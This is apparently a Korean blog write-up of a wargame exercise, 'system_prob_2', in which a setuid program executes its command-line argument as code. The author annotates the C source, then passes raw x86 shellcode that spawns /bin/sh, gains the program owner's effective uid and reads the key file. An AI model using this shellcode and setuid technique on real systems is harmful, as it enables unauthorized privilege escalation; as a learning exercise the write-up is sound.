ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • system_prob_2
    공부/시스템 2014. 3. 21. 01:37

    system_prob_2

    jen6@layer7:/home/system_prob_2$ ls -al
    total 24
    drwxr-xr-x  2 system_prob_2 system_prob_2 4096 Jun  3  2013 .
    drwxr-xr-x 79 root          root          4096 Mar 13 18:23 ..
    -rwsr-xr-x  1 system_prob_2 system_prob_2 7190 Jun  3  2013 attackme
    -r--r--r--  1 system_prob_2 system_prob_2  165 Jun  3  2013 attackme.c
    -r--------  1 system_prob_2 system_prob_2   28 Jun  3  2013 key
    jen6@layer7:/home/system_prob_2$ 

    attackme의 권한을 보면 system_prob_2 계정에 대한 SetUID bit가 설정되어 있음을 알수있다

    (rwsr - 여기서 s는 setuid) 그래서 attackme 를 실행하는 동안은 uid(euid)가 system_prob_2의 uid와 같아진다

    --소스코드--

    char shellcode[1024];//전역변수 shellcode

    int main(int argc, char **argv)//argc:argv배열으 갯수 +1(왜냐하면 argv[0]은 파일명, argv:인자값

    {

        int (*func)();//func이라는 함수 포인터(리턴값 int형, 매개변수 없음)

        func = (int (*)()) shellcode;//func은 int형이고 shellcode는 char형 임으로 shellcode를 int형으로 형변환 시켜줌

    *c++ auto로 한큐에

        strcpy(shellcode, argv[1]);//argv[1]의 내용을 shellcode로 복사

        (int)(*func)();//func함수 실행

    }

    argv[1]에 인자값을 받음 -> argv[1]을 shellcode로 복사 -> 함수 포인터 func의 주소값은 shellcode배열의 주소값 -> 함수 func실행

    이런 흐름으로 때문에 argv[1]에 들어간 값이 실행되게됨으로 argv에 /bin/sh 을 실행하는 코드를 넣어주면 되겠구나 싶음

    그렇다고 ./attackme system('/bin/bash");

    이렇게 백날해도 소용이 없음(세그먼트폴트 덤프나 확인하시죠 이렇게 나옴)

    메모리 상에 올라가는 코드이기때문에 어셈블리(기계어)로 올려줘야함

    (자세한건 이 문서를 통해

    https://www.dropbox.com/s/6tz8xnkuin163og/%EC%89%98%EC%BD%94%EB%93%9C_%EB%A7%8C%EB%93%A4%EA%B8%B0_%EA%B8%B0%EC%B4%88.pdf     )

    인자 값으로 넘기기 위해 python -c 옵션을 이용하여 만든

    ./attackme `python -c 'print "\xeb\x0d\x5b\x31\xc0\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"'`


    jen6@layer7:/home/system_prob_2$ whoami
    jen6 //내 계정이니깐 당연히 나로
    jen6@layer7:/home/system_prob_2$ id
    uid=1556(jen6) gid=1556(jen6) groups=1556(jen6)// 내 계정이니깐 uid역시 내 uid
    jen6@layer7:/home/system_prob_2$ ./attackme `python -c 'print "\xeb\x0d\x5b\x31\xc0\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"'`
    $ whoami
    system_prob_2
    $ id
    uid=1556(jen6) gid=1556(jen6) euid=1057(system_prob_2) groups=1058(system_prob_2),1556(jen6)
    //euid 가 system_prob_2로 바뀌어서 성공적으로 key를 출력할수있음
    $ cat key
    SHELLCODE_ART_OF_1337CODING









    '공부 > 시스템' 카테고리의 다른 글

    DRAM RowHammer  (0) 2015.03.11
    codegate junior 2014 nuclear  (1) 2014.09.09
    dumpcode.h  (0) 2014.03.24
    simple_bof  (0) 2014.03.21
    system_prob_2  (0) 2014.03.21

    댓글 0

Designed by Tistory.